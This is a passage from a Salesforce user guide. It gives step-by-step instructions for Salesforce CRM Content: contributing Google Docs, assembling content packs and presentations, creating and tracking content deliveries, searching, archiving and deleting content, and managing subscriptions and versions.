users restrict their content searches to a particular language, only content associated with that language is displayed in
the search result set.
d. To publish the content on behalf of another author, choose that author from the drop-down list.
e. Tag your content. Your tagging permission depends on the tagging rule assigned to the workspace:
• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent
Tags list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window
shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.

272
Salesforce CRM Content Contributing Google Docs to Salesforce CRM Content

• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

f. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
g. After completing any custom fields, click Publish to save the Google doc to its Salesforce CRM Content workspace,
or click Cancel to save the doc to your personal workspace. From there you can delete the doc from Salesforce CRM
Content or publish it later. Once a Google doc is published in Salesforce CRM Content, all workspace members can
search for the doc and provide feedback such as comments and votes.

Note: While you have your Google doc open, remember to share it with other Google Apps users in your organization.
Only users with access to the Google doc in their Google Apps account can open the doc from Salesforce CRM
Content.

Adding Existing Google Docs to a Salesforce CRM Content Workspace


If you have an existing Google doc, you can publish it into a workspace:
1. On the Workspaces tab, choose Add Existing from the Add Google Doc drop-down button. A list of all the Google docs
in your Google Apps account displays.
2. Optionally, limit your list of docs by entering a search term or choosing to view only documents, presentations, or
spreadsheets.
3. Select the Google doc that you want to add to Salesforce CRM Content and click Contribute.
4. Optionally, edit the title of your Google doc and/or add a description.
5. Choose a workspace. If you do not want to add the doc to a public workspace, for example if the doc is still in progress,
choose Save in my personal workspace.
6. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do
not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users
restrict their content searches to a particular language, only content associated with that language is displayed in the search
result set.
7. To publish the content on behalf of another author, choose that author from the drop-down list.
8. Tag your content. Your tagging permission depends on the tagging rule assigned to the workspace:
• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags
list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

9. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.

273
Salesforce CRM Content Creating and Modifying Content Packs in Salesforce CRM Content

10. After completing the custom fields, click Publish or Save.

See Also:
Using Google Docs in Salesforce.com
Uploading and Publishing Content

Creating and Modifying Content Packs in Salesforce CRM


Content
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or modify content packs in Salesforce CRM Manage Workspaces checked in your workspace permission
Content: definition
OR
Add Content checked in your workspace permission
definition

A content pack is a collection of related documents or files that are stored as a group in Salesforce CRM Content. For example,
you may want to create a content pack with a product list, price quote, and contract to send to a particular customer. Any file
in Salesforce CRM Content can be added to a content pack, from traditional business documents such as Microsoft® PowerPoint
presentations and Adobe® PDF files, to audio files, video files, and Google docs. Using email or instant messaging, you can
distribute the content pack to colleagues in your organization or leads and contacts outside your organization. The recipient
of a content delivery can click a single URL to open a preview player with which he or she can preview and download the
content. You can then view tracking information to see how often the content pack was viewed and which documents were
downloaded. For information about delivering content packs, see Setting up Content Deliveries on page 1175.
Note: Content packs support all files types; however, the preview player launched by the content-delivery URL displays
only PowerPoint, Word, Excel, and PDF files. The preview player does not display copy-protected PDFs. Also,
working with content packs requires Adobe Flash® Player, version 9.0.11.5 or higher. If you do not have Flash installed,
Salesforce.com provides a link to Adobe's website where you can download Flash for free.

To work with content packs:

1. Depending on whether you want to create, customize, or modify a content pack, use one of the following options:
Note: The following options are only available if Enable content pack creation is selected on the Setup
➤ Customize ➤ Salesforce CRM Content ➤ Settings page. If content pack creation is disabled after packs have
been created, Salesforce.com does not delete existing packs but they cannot be customized or modified.

• To create a new content pack, click the Workspaces tab and then choose Create New ➤ Content Pack.
• To create a new content pack by copying an existing pack and adding, removing, or reordering files, open the content
details page for the pack and click Clone & Customize.

274
Salesforce CRM Content Creating and Modifying Content Packs in Salesforce CRM Content

• To update a content pack and publish a new version, open the content details page for the pack and click Edit ➤ Edit
Content Pack.

2. Click Search files to display all the content in your workspaces. To refine your results, select a specific workspace to search
or enter a search term in the text box.
In addition to files and documents, search results also list content packs.
3. Drag the desired content from the search results into the assembly section in the lower half of the window. The following
options help you assemble your content pack:

• In the search results, click a document to preview it in the lower half of the window. Choose Add to Content Pack or
Hide preview as needed.
• In the search results, hover over a document and click the folder icon ( ) to view the content packs that use the
document.
• In the search results, hover over a content pack and click the folder icon ( ) to view all the documents in the pack.
• In the assembly section, hover over a document and click the garbage can icon ( ) to remove that document from the
pack you are assembling.
• Click Clear at any time to revert your changes; click Cancel to return to the Workspaces tab.
Note: The maximum number of files that can be included in a content pack is 50.

4. When you are done assembling or modifying your content pack, click Save and assign or change the content pack's name.
5. In the Save or Publish Content dialog:

a. Select a workspace. If you do not want the content pack to be visible to other users in your organization, for example
if your work is still in progress, choose Save in my personal workspace.
b. Optionally, add or modify the content pack's description.
c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you
do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If
users restrict their content searches to a particular language, only content associated with that language is displayed in
the search result set.
d. If you are modifying the content pack, complete the Reason for Change field.
e. To publish the content on behalf of another author, choose that author from the drop-down list.
f. Tag your content. Your tagging permission depends on the tagging rule assigned to the workspace:

• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent
Tags list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window
shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

275
Salesforce CRM Content Creating and Modifying Presentations in Salesforce CRM Content

g. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
h. Click Publish. You can then view the content details page, return to the Workspaces tab, or publish another file.

See Also:
Uploading and Publishing Content
Deleting, Archiving, and Restoring Content
Viewing and Editing Content Subscriptions

Creating and Modifying Presentations in Salesforce CRM


Content
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create presentations: Manage Workspaces checked in your workspace permission
definition
OR
Add Content checked in your workspace permission
definition

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

In Salesforce CRM Content, you can create a custom Microsoft® PowerPoint presentation by searching for and previewing
slides, then easily assembling them in whatever sequence you choose using a simple drag-and-drop assembly tool.
When you publish a PowerPoint file, Salesforce CRM Content not only uploads the entire file to your workspace but also
extracts the individual slides so they are available when you assemble or modify a presentation. Salesforce CRM Content can
perform a full-text search of each slide and return only slides applicable to your purpose, or you can browse all slides published
into your workspaces. The assembly tool allows you to create or modify the custom presentation by dragging and dropping
individual slides. You can publish the presentation to a public workspace or keep it in your personal content area.
Note: Working with presentations requires Adobe Flash® Player, version 9.0.11.5 or higher. If you do not have Flash
installed, Salesforce.com provides a link to Adobe's website where you can download Flash for free.

To work with presentations:

1. Depending on whether you want to create, copy, or modify a presentation, use one of the following options:

276
Salesforce CRM Content Creating and Modifying Presentations in Salesforce CRM Content

Note: The following options are only available if Enable presentation assembly is selected on the Setup
➤ Customize ➤ Salesforce CRM Content ➤ Settings page. If presentation assembly is disabled after presentations
have been created, Salesforce.com does not delete existing presentations but they cannot be customized or modified.

• To create a new presentation, click the Workspaces tab and then choose Create New ➤ Presentation.
• To create a new presentation by copying an existing presentation, on the content details page click Clone & Customize.
• To modify a presentation and save it as a new version, on the content details page click Edit ➤ Edit Presentation.

Note: When you create, clone & customize, or modify a presentation, it may time out. In this case, we recommend
that you assemble the presentation outside of Salesforce CRM Content and then upload it into the appropriate
workspace.

2. Click Search presentations to display all the PowerPoint files in your workspaces or click Search slides to display all the
individual slides in your workspaces. To refine your results, select a specific workspace to search or enter a search term in
the text box before clicking either button. Note that any PowerPoint 2007 files in your workspaces do not appear in search
results and cannot be assembled into presentations.
Note: Some slide thumbnails may not be visible or may only be partially visible, but you can click on them to see
the preview in the lower half of the window. You can re-upload the slide if you want the thumbnail to be visible.

3. Drag the desired files or slides from the search results into the assembly section in the lower half of the window. The
following options help you assemble your presentation:

• In search results, click a file or slide to preview it in the lower half of the window. Choose Add to presentation or Hide
preview as needed.
• Click Clear at any time to revert your changes; click Cancel to return to your starting point.
• In search results, hover over a presentation and click the slides icon ( ) to view all the slides in the presentation.
• In search results, hover over a slide and click the presentation icon ( ) to view all the presentations that use that slide.
• In the assembly section, hover over a document and click the garbage can icon ( ) to remove that document from the
presentation you are assembling.

4. When you are done assembling your presentation, click Save, assign or change the presentation's name.
5. In the Save or Publish Content dialog:

a. Select a workspace. If you do not want the presentation to be visible to other users in your organization, for example
if your work is still in progress, choose Save in my personal workspace.
b. Optionally, add or modify the presentation's description.
c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you
do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If
users restrict their content searches to a particular language, only content associated with that language is displayed in
the search result set.
d. If you are modifying the presentation, complete the Reason for Change field.
e. To publish the content on behalf of another author, choose that author from the drop-down list.
f. Tag your content. Your tagging permission depends on the tagging rule assigned to the workspace:

• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent
Tags list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window
shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.

277
Salesforce CRM Content Using the Content Deliveries Related List

• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When
you select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
letters. The case of the original tag is always used.

g. If multiple content types are available, choose one from the drop-down list. The content type determines which custom
fields appear for you to categorize and define your content.
h. Click Publish. You can then view the content details page, return to the Workspaces tab, or publish another file.

See Also:
Uploading and Publishing Content
Viewing and Editing Content Details

Using the Content Deliveries Related List


Available in: All Editions

User Permissions Needed


To create a content delivery: None
To edit a content delivery: Owner of the record
OR
“Modify all Data”

A content delivery allows you to easily convert documents such as Microsoft® PowerPoint and Word files into an optimized
web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient,
such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition
to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how
long the delivery is available to viewers and whether a viewer can download a file or see it online only.
From the Content Deliveries related list on leads, business accounts, contacts, opportunities, cases, campaigns, and custom
objects you can:

• Click Deliver Content to create a new content delivery and associate it with the record you are viewing. For more
information, see Creating Content Deliveries on page 279.
• Click Preview to open the content delivery. Each time you view a content delivery, it is recorded as one internal view on
the Views related list.

278
Salesforce CRM Content Creating Content Deliveries

• Click the content delivery name to open the detail page for that delivery. For more information, see Viewing and Editing
Content Deliveries on page 281.

See Also:
Salesforce CRM Content Overview

Creating Content Deliveries


Available in: All Editions
Salesforce CRM Content available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions

User Permissions Needed


To create content deliveries from a shared workspace in Member of the workspace
Salesforce CRM Content:
AND
“Deliver Content” checked in your workspace permission
definition

To create content deliveries from a personal workspace “Deliver Uploaded Files and Personal Content” checked in
inSalesforce CRM Content: your general permission definition
To create content deliveries (non-Content user): “Deliver Uploaded Files and Personal Content” checked in
your general permission definition

A content delivery allows you to easily convert documents such as Microsoft® PowerPoint and Word files into an optimized
web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient,
such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition
to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how
long the delivery is available to viewers and whether a viewer can download a file or see it online only.
A content delivery can be created from the Content Deliveries related list on most Salesforce objects. Salesforce CRM Content
users can also create a content delivery from the content details page or the Related Content related list.
To create a new content delivery:

1. From the Content Deliveries related list, Related Content related list, or the content details page, click Deliver Content.
2. Upload a file or confirm the file name. If you are a Salesforce CRM Content user, search for the content in your workspaces
that you want to deliver. Salesforce CRM Content users can search for content in shared workspaces or a personal workspace.
3. Optionally, modify the Delivery Name field. This is the name that identifies your content delivery in Salesforce.com.
We recommend using a name that will make the delivery easily distinguishable from other deliveries on the same record.
The default delivery name includes the file name and today’s date.
4. Select the delivery methods that determine how your content can be viewed. The options that appear depend on the file
format you uploaded.

279
Salesforce CRM Content Creating Content Deliveries

• Choose Allow Recipient to View in the Browser to create an online version of the file that recipients can
view in their browser.
• Choose Allow Recipient to Download as [file type] file to allow the recipient of your content delivery
to view the content in its original format. For example, if you uploaded a Microsoft® Word file, this field will be Allow
download as .doc file.
• Choose Allow Recipient to Download as PDF to create a .pdf version of the file. This option is only available
for Microsoft® PowerPoint, Word, and Excel files.

5. Select Notify Me of First View or Download if you want to receive an email the first time your recipient clicks
the content-delivery URL.
6. If the content you are delivering is time-sensitive, select the Remove Access to Content on checkbox and enter an
expiration date. By default, the expiration date is 90 days from the current date. After creating your content delivery, you
can change the expiration date at any time on the delivery detail page.
7. Optionally, select Require a Password to Access Content. When you create the content delivery you will receive
a password to include with the delivery URL that you send to your recipients. The password is available for the life of the
delivery on the delivery detail page.
8. Optionally, use the lookup to associate your content delivery with a Salesforce.com record. The record you were viewing
when you clicked Deliver Content is selected by default.
9. Click Save & Next. Your delivery will usually be ready within a few moments, but you can click Notify Me to exit the
content delivery wizard and be notified via email when your content delivery is ready.
10. If you did not exit the content delivery wizard, click Preview to verify that you are satisfied with the delivery.
Important: Formatting in the original file may not display correctly in the online version. If you chose Allow
Recipient to View in the Browser, preview your content delivery before sending its URL to your
recipients. If you are not happy with the quality of the online version, click Previous and choose to make your
content available in its original file format or a PDF only.

11. Copy and paste the delivery URL and, if applicable, its password into an email or instant message for delivery. The URL
is available on the delivery detail page. For more information, see Viewing and Editing Content Deliveries on page 281.

See Also:
Using the Content Deliveries Related List
Setting up Content Deliveries
Salesforce CRM Content Overview

280
Salesforce CRM Content Viewing and Editing Content Deliveries

Viewing and Editing Content Deliveries


Available in: All Editions
Salesforce CRM Content available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions

User Permissions Needed


To view the delivery detail page: Access to the associated content details page in Salesforce
CRM Content
OR
Access to the record associated with the content delivery

To edit, expire, or delete a content delivery: Owner of the record


OR
“Modify all Data”

On the Content Deliveries related list or the Content Deliveries list page, click the name of a content delivery to open the
detail page.
Viewing Content Delivery Details
The delivery detail page provides all the information associated with a content delivery, including the URL required to
access the content delivery, the number of times the delivery has been viewed, and the delivery settings. For a description
of each field, see Content Delivery Fields on page 1177.

Editing Content Delivery Details


Click Expire Now to immediately remove access to the content delivery. Click Edit to modify details such as the delivery
methods, expiration date, or the record the delivery is associated with. For a description of each field, see Content
Delivery Fields on page 1177.

Deleting Content Deliveries


Click Delete to remove access to the content delivery and delete the delivery record from Salesforce.com. Salesforce
CRM Content users cannot delete files that are associated with a content delivery until the content delivery is deleted.

Tracking Content Deliveries


Each time a content delivery's URL is opened, Salesforce.com records the event as a view. The Views related list on the
content delivery detail page lists every view associated with the delivery. Information about the view includes the date
and time, whether the view was by an internal (Salesforce.com) user, and whether the view included a download. If the

281
Salesforce CRM Content Searching for Content

content delivery provided the ability to download the file in its original file format or as a PDF file, the File Downloaded
flag indicates that a download occurred, but you cannot distinguish between file types.

See Also:
Creating Content Deliveries
Using the Content Deliveries Related List

Searching for Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To search Salesforce CRM Content: Salesforce CRM Content User checked in your personal
information
AND
Member of the workspace

Clicking the Content tab displays files, content packs, Web links, and Google docs published in your Salesforce CRM Content
workspaces. If Salesforce Chatter is enabled, files posted to Chatter groups and other Chatter files are also displayed on the
Content tab. The top twenty most recently modified items are listed by default. You can filter the list using the Filter Your
Results sidebar.
To search for specific content:

1. From the Search drop-down list, restrict your search to a specific workspace or choose to search in all workspaces. If
Salesforce Chatter is enabled, you can restrict your search using:

• All Files—All workspaces and Chatter groups you're a member of and files posted to the Chatter feed on the Home
tab and on profiles.
• Chatter Files—All Chatter groups you're a member of and files posted to the Chatter feed on the Home tab and on
profiles.
• My Chatter Groups—All Chatter groups you're a member of.
• My Workspaces—All workspaces you're a member of and your personal workspace.

Tip: To display all the locations where the content appears, click Display Options and select Display Locations.
The locations are listed under each title

.
2. Enter your search term(s) and click Go!. Salesforce CRM Content performs a full-text search of the following document
types in Salesforce Chatter and in your workspace(s): rich text format (RTF), UTF-8 encoded TXT, HTML, XML,
Adobe® PDF, and Microsoft® Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint files. Wildcard
searches (*) are not supported.

282
Salesforce CRM Content Searching for Content

3. If multi-language support is enabled, you can restrict your search to a specific language. By default, Salesforce CRM
Content searches all the content in your workspace(s) that is published in your default user language. Searching in all
languages also searches the titles, author names, tags, file extensions, and custom fields of content in all languages.
Note: Searching in all languages does not search the text or description of documents that were published in
languages other than your default user language.

4. Optionally, in the Filter Your Results sidebar, filter your search results by file format, featured content, author, tag,
workspaces, content type, language, or a custom field. If Salesforce Chatter is enabled, you can also filter your search results
by Chatter groups. The number in parentheses next to each filter type shows you how many matching files, content packs,
Web links, and Google docs are in the search results.

The Content tab provides several options:

• Click Display Options to customize your view by adding sortable columns for various content criteria (such as Size and
Publication Date), or choosing to display descriptions, tags and locations. Display Locations shows the workspaces and
Chatter groups where the content appears. My Workspaces: none or My Chatter Groups: none means that the file is a
Chatter file and is not part of any workspaces or Chatter groups. The “smart bar” graphic for downloads, comments, ratings,
and subscribers allows you to compare files, content packs, Google docs, and links within a search result set.
• Select one or more files and click Download to create a zip file with your selected content. Web links and Google docs
cannot be included in zip files.
• Hover over a file icon to see a snapshot of information about the specific file, content pack, Google doc, or Web link and
options such as subscribing, voting, and downloading.
• Click the subscription icon next to the file name to toggle a subscription on or off. For more information, see Viewing and
Editing Content Subscriptions on page 288.
• Click the file name to view the content details page. The content details page provides all the available information about
a file, content pack, Google doc, or link. For more information, see Viewing and Editing Content Details on page 284.

See Also:
Deleting, Archiving, and Restoring Content
Uploading and Publishing Content
Managing Workspaces

283
Salesforce CRM Content Viewing and Editing Content Details

Viewing and Editing Content Details


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To preview and download shared content: Member of the workspace
To preview and download private content: None
To upload a new version: Add Content checked in your workspace permission
definition
To archive and restore content: Archive Content checked in your workspace permission
definition
OR
Author of the content

To permanently delete content: Delete Content checked in your workspace permission


definition
To view and edit comments: Modify Comments checked in your workspace permission
definition
To delete comments: Delete Comments checked in your workspace permission
definition
To tag content: Tag Content checked in your workspace permission
definition
To mark content as featured: Feature Content checked in your workspace permission
definition
To deliver content from a shared workspace: Deliver Content checked in your workspace permission
definition
To deliver content from a personal workspace: Deliver Uploaded Files and Personal Content
checked in your workspace permission definition
To post content from a workspace to a Chatter feed: Post Content to Chatter Feeds checked in your
workspace permission definition

Clicking a file name on the Workspaces, Content, or Subscriptions tabs opens the content details page, which is a central
access point to preview content and gather information about a particular file, Web link, content pack, or Google doc in
Salesforce CRM Content. Starting with the Summer '10 release, if Salesforce Chatter is enabled for your organization, files
posted to Chatter are also listed.
The Preview tab displays if your file is one of the following types:

• Microsoft® Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint. Some Microsoft Office 2007 features
don't display correctly in previews.

284
Salesforce CRM Content Viewing and Editing Content Details

• Adobe® PDF. Copy-protected PDFs can't be previewed.


• JPG, BMP, GIF, and PNG

The following options are available on the content details page depending on the type of content you are viewing, your
workspace permissions, and whether the content is in a public or private workspace, or from Chatter:

• Click the thumbs up or thumbs down icon to vote for the file, Web link, content pack, or Google doc. To change your
vote, click the opposite icon. After you cast a vote, the Recent Activity list on the Workspaces tab indicates whether you
like or dislike the content.
• Click Deliver Content to create a content delivery. Click Deliver Content ➤ Show Content Deliveries to view a list of
deliveries associated with the content.
• For Web links or Google docs, click the Open button to open the Web page in a separate window. For files, click the
Download button to open or save the file.
• Click Subscribe or Subscribed to toggle your subscription on or off.
• For content packs or presentations, click Clone & Customize to create a new pack or presentation by adding or removing
files and slides. Salesforce CRM Content saves or publishes your customized pack or presentation as new content, not a
version of the pack or presentation you copied.
• Click Edit ➤ Edit Content Details to modify standard and custom fields.
• Click Edit ➤ Edit Presentation to create a new version of a presentation by adding or removing slides. Click Edit ➤
Edit Content Pack to create a new version of a content pack by adding or removing files.
• For files, click Edit ➤ Upload New Version to replace the file with a new version. The version option is not available for
Web links, content packs, or Google docs.
Note: If the Add New Version button is grayed out, your organization has exceeded its file storage allowance and
new content cannot be uploaded.

• Click Edit ➤ Archive Content to remove the file, Web link, content pack, or Google doc from the workspace. Authors
can archive and restore their own content regardless of workspace permissions.If a file is in Salesforce CRM Content and
also posted in Salesforce Chatter, archiving it doesn't remove the Chatter post.
• Click Edit ➤ Delete Content to delete the file, Web link, content pack, or Google doc from Salesforce CRM Content
by moving it to the Recycle Bin. Authors can delete and undelete their own content regardless of workspace permissions.
Deleting a Google doc removes the doc's association with Salesforce CRM Content but does not delete the doc in Google
Apps. You cannot delete a file that is included in a content pack or content delivery. Deleting a Chatter file from the
content details page deletes the file from Salesforce CRM Content and from Chatter.
• Click Edit ➤ Workspace Actions and choose Move to Another Workspace to move the content to a different managing
(or “home”) workspace. Choose Share to Another Workspace to share content into additional workspaces without changing
the managing workspace. Sharing or linking content to other workspaces enables members of those workspaces to find
your content. If the managing workspace and shared workspace have different tagging rules, the most restrictive tagging
rule applies. If you want to remove content from a workspace where the content is shared, click Remove from Workspaces.
This option does not remove content from its managing workspace
• Click the Comments subtab to view, add, edit, or delete comments.
• Click the Versions subtab to view a list of all file versions and the reason-for-change statements provided by the authors.
• Click the Downloads subtab to view a list of all Salesforce CRM Content users who have downloaded the file. Download
data is not available for Web links or Google docs.
• Click the Subscribers subtab to view a list of all Salesforce CRM Content users subscribed to the file, Web link, or Google
doc. To subscribe to an author, click the drop-down button next to the author's name. To subscribe to a workspace, click
the drop-down button next to the workspace name.

285
Salesforce CRM Content Deleting, Archiving, and Restoring Content

• Click a tag name to view all the content associated with that tag. Click the arrow next to the tag to remove the tag or to
subscribe to all content with that tag.
• To add a new tag, enter a tag name in the Add Tags field and click Save. As you type a tag, Salesforce CRM Content
autosuggests tags based on the tags in your My Recent Tags list in the Save or Publish window and the Popular Tags
section on the Workspaces tab.
Note: If your administrator applied a workspace tagging rule, you may not be able to enter new tags. If the guided
tagging rule is applied, you can click Add Tags and choose from the list of suggested tags or enter new tags. If the
restricted workspace tagging rule is applied, you can click Add Tags and choose from the list of suggested tags,
but you cannot enter your own tags.

• Click the author's name to see a list of the author's published content. Click the arrow next to the author's name and choose
Subscribe to Author to subscribe to all content published by that author.
• Click Feature or Don't Feature to toggle the “feature” designation on or off. Featured content receives a higher priority
than similar content in search results; for example, if 100 files contain the search criteria term sales asset, any featured
files with that term will appear at the top of the search results list. Featured content is also listed on the workspace overview
and workspace detail pages for quick access.
• Click a workspace name to view details about the workspace. Click the arrow next to the workspace name and choose
Subscribe to Workspace to subscribe to all content in the workspace or Show Workspace Content to view a list of all
files, content packs, Web links, and Google docs published to the workspace.

See Also:
Updating Content Versions
Deleting, Archiving, and Restoring Content
Searching for Content

Deleting, Archiving, and Restoring Content


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To archive and restore any content in the workspace: Archive Content checked in your workspace permission
definition
To archive and restore content that you published: Add Content checked in your workspace permission
definition
To delete content: Delete Content checked in your workspace permission
definition

Salesforce CRM Content offers two methods for removing content: archiving and deleting. Archiving a piece of content
removes it from its workspace but does not permanently delete it from Salesforce CRM Content. Once archived, content
cannot be downloaded and it does not appear in search results, but you can locate and restore it if necessary. Deleted content,
however, is permanently deleted from Salesforce CRM Content when the Recycle Bin is emptied.

286
Salesforce CRM Content Deleting, Archiving, and Restoring Content

Note: If you delete a content pack, you do not delete the individual files within the pack; only the pack (container) is
deleted. Files that are included in a content pack or content delivery cannot be deleted until the pack or delivery is
deleted.

To archive or delete content:

1. Click the file name on the Workspaces, Content, or Subscriptions tabs.


2. On the content details page, click Archive Content or Delete Content.
Note:

• Authors can always archive and restore their own content. Authors do not require the Archive Content
workspace permission option.
• If a file is in Salesforce CRM Content and also posted in Salesforce Chatter, archiving it doesn't remove the
Chatter post.
• Deleting a Chatter file from the content details page deletes the file from Salesforce CRM Content and from
Chatter.

To restore archived content, open the content details page and click Restore Content. You can use any of the following
methods to open the content details page for an archived piece of content:

• Follow a bookmark to the archived content.


• In the Workspaces tab, click a workspace name to open the workspace details page. Click the View Archived Content
link to see a list of archived content on the Content tab. The View Archived Content link only displays if you have the
Archive Content, Add Content, or Manage Workspaces privileges in your workspace permission. If you have the
Archive Content or Manage Workspaces privileges, you will see a list of all archived content in the workspace,
regardless of author. If you do not have those privileges but have the Add Content privilege, you will only see archived
content that you authored and archived. Click the content you want to restore to open the content details page.

To restore deleted content, click on the Recycle Bin link in any tab. Select the content and click Undelete.
Note: Archived and deleted files are automatically removed from subscription lists. Subscribers are not notified when
content is archived or deleted.

See Also:
Uploading and Publishing Content
Updating Content Versions
Viewing and Editing Content Details
Viewing and Editing Content Deliveries

287
Salesforce CRM Content Viewing and Editing Content Subscriptions

Viewing and Editing Content Subscriptions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To subscribe to content: Salesforce CRM Content User checked in your personal
information
AND
Member of the workspace

Clicking the Subscriptions tab displays the Subscriptions home page, where you can view your Salesforce CRM Content
subscriptions and toggle them off or on.
Note: To subscribe to a file, content pack, Web link, or Google doc, view its content details page and click Not
Subscribed. From the content details page you can also subscribe to a tag, author, or workspace by using the drop-down
menus next to the tag, author, or workspace name.

On the Subscriptions tab, click the Content, Tags, Authors, or Workspaces subtabs to view your subscriptions. Depending
on your notification settings, you are notified of changes to your subscribed content via real-time emails or a once-daily email.
Tip: To configure your notification settings, go to Setup ➤ My Personal Information and click Edit. Choose
Receive Salesforce CRM Content email alerts. If you want to receive a once-daily summary rather than
real-time email alerts, also select Receive Salesforce CRM Content emails as daily digest.

Subscriptions generate the following notifications:

• If you subscribe to a file, you are notified when a viewer adds comments to the file or when a new version of the file is
published. If you subscribe to a Web link or Google doc, you are notified when comments are added but not when the
link is changed or the doc is edited.
• If you subscribe to a content pack you are notified when a new version of the pack is published. Unless you are subscribed
to the individual files within a content pack, you are not notified when new versions of the files are published.
• If you subscribe to a tag, you are notified of any newly published content that is associated to the subscribed tag. To be
notified that new versions of the tagged content are available, subscribe to the content.
• If you subscribe to an author, you are notified when the author publishes new content. To be notified that new versions
of an author's content are available, subscribe to the content.
• If you subscribe to a workspace, you are notified when new content is added to the workspace, including existing content
that has been newly linked to your subscribed workspace. To be notified that new versions of the workspace content are
available, subscribe to the content.

See Also:
Searching for Content
Viewing and Editing Content Details
Managing Workspaces

288
Salesforce CRM Content Updating Content Versions

Updating Content Versions


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add a new version: Add Content checked in your workspace permission
definition

Clicking a file name on any Salesforce CRM Content tab opens the content details page.

Publishing a New Version


To publish a new version of the file and update its properties:
1. Click Edit ➤ Upload New Version. This option does not appear for Web links, content packs, or Google docs.
To add or remove files from a content pack, see Creating and Modifying Content Packs in Salesforce CRM Content on
page 274.
2. Click Browse to find and select the updated file.
3. As needed, update the Title and Description fields.
4. Fill out the Reason for change field. This text is included on the email notifications sent to subscribers and the version
list located on the content details page.
5. To publish the content on behalf of another author, choose that author from the drop-down list.
6. Tag your content. Your tagging permission depends on the tagging rule assigned to the workspace:
• If the workspace does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter
tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags
list and the Popular Tags section on the Workspaces tab. The My Recent Tags list on the Contribute window shows
the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically.
• If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new
tag. Click a suggested tag to add it to the Tags field automatically.
• If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you
select a tag it turns green.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase
